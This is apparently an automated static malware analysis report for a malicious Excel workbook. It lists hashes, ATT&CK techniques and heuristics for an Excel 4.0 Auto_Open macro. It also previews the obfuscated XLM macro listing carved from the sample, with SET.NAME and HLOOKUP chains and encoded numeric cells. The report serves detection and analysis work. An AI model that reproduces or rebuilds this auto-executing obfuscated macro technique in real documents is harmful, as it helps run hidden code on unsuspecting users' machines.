Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cd0725f2d1dda0bc…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:42:28 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 346256061a044f65ca0db7972cdd8a37 SHA-1: 01e376f9d6b75663d19ff1cda8ad2517aaa65c80 SHA-256: cd0725f2d1dda0bc38fc81623f786a135fbeb93cb0d4b4309952faa8df38fcd8
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry, which is a common technique for executing malicious code. The `RUN` function identified within the macro sheet suggests an attempt to execute a secondary payload. The presence of obfuscated strings and the use of dangerous formula APIs further support a malicious intent.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6799 bytes
SHA-256: 48e62f9cda20751bb20c78baf0eee0e1b2a87d291e22384ea06da20e7a27d6f9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  DTIKaStMp
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B183 
' 0018     20 LABEL : Cell Value, String Constant - axulr len=0 
' 0018     25 LABEL : Cell Value, String Constant - BJZTFQsGWm len=0 
' 0018     22 LABEL : Cell Value, String Constant - DuqACrO len=0 
' 0018     20 LABEL : Cell Value, String Constant - DWlOe len=0 
' 0018     26 LABEL : Cell Value, String Constant - dXJFtqlBBdN len=0 
' 0018     20 LABEL : Cell Value, String Constant - EFndm len=0 
' 0018     21 LABEL : Cell Value, String Constant - ftoZPi len=0 
' 0018     24 LABEL : Cell Value, String Constant - jxcObjZnd len=0 
' 0018     25 LABEL : Cell Value, String Constant - KSECVvFSIO len=0 
' 0018     23 LABEL : Cell Value, String Constant - lwIoTdLQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - nCdcmTqv len=0 
' 0018     23 LABEL : Cell Value, String Constant - NHgoQlQj len=0 
' 0018     26 LABEL : Cell Value, String Constant - OHCgrZeYMGo len=0 
' 0018     20 LABEL : Cell Value, String Constant - pRTQu len=0 
' 0018     23 LABEL : Cell Value, String Constant - tBKGObFY len=0 
' 0018     23 LABEL : Cell Value, String Constant - VUpUXSGo len=0 
' 0018     22 LABEL : Cell Value, String Constant - WZKDYOp len=0 
' 0018     23 LABEL : Cell Value, String Constant - xJahuamA len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZVUJiph len=0 
' 0018     22 LABEL : Cell Value, String Constant - zxOeGbz len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  DTIKaStMp,Q57,"",165.00000000000000000000
'  DTIKaStMp,Q58,"",231.00000000000000000000
'  DTIKaStMp,Q59,"",239.00000000000000000000
'  DTIKaStMp,Q60,"",418.00000000000000000000
'  DTIKaStMp,Q61,"",-254.00000000000000000000
'  DTIKaStMp,Q62,"",-235.00000000000000000000
'  DTIKaStMp,B83,"SET.NAME("ftoZPi",0+VALUE("0"))",""
'  DTIKaStMp,B85,"SET.NAME("DuqACrO",ftoZPi)",""
'  DTIKaStMp,B89,"SET.NAME("lwIoTdLQ",ftoZPi)",""
'  DTIKaStMp,B93,"SET.NAME("pRTQu",COUNTA(DWlOe))",""
'  DTIKaStMp,B97,"SET.NAME("OHCgrZeYMGo",COUNTA(dXJFtqlBBdN))",""
'  DTIKaStMp,B101,[],""
'  DTIKaStMp,B106,"SET.NAME("BJZTFQsGWm","")",""
'  DTIKaStMp,B108,"DuqACrO",""
'  DTIKaStMp,B110,"SET.NAME("NHgoQlQj",HLOOKUP("*",DWlOe,DuqACrO,FALSE))",""
'  DTIKaStMp,B113,"zxOeGbz",""
'  DTIKaStMp,B115,"SET.NAME("WZKDYOp",ftoZPi)",""
'  DTIKaStMp,B119,[],""
'  DTIKaStMp,B122,"WZKDYOp",""
'  DTIKaStMp,B126,"VUpUXSGo",""
'  DTIKaStMp,B128,"nCdcmTqv",""
'  DTIKaStMp,B133,"xJahuamA",""
'  DTIKaStMp,B138,"SET.NAME("KSECVvFSIO",VALUE(HLOOKUP("*",dXJFtqlBBdN,xJahuamA,FALSE)))",""
'  DTIKaStMp,B142,"tBKGObFY",""
'  DTIKaStMp,B145,"BJZTFQsGWm",""
'  DTIKaStMp,B150,"lwIoTdLQ",""
'  DTIKaStMp,B155,NEXT(),""
'  DTIKaStMp,B160,"EFndm",""
'  DTIKaStMp,B165,[],""
'  DTIKaStMp,B170,"ZVUJiph",""
'  DTIKaStMp,B175,NEXT(),""
'  DTIKaStMp,B178,RETURN(),""
'  DTIKaStMp,B205,"SET.NAME("axulr",B83)",""
'  DTIKaStMp,B208,"DWlOe",""
'  DTIKaStMp,B211,"SET.NAME("dXJFtqlBBdN",R44C12)",""
'  DTIKaStMp,B214,"SET.NAME("ZVUJiph",219)",""
'  DTIKaStMp,B216,"SET.NAME("jxcObjZnd",2)",""
'  DTIKaStMp,B218,axulr(),""
'  DTIKaStMp,B219,HALT(),""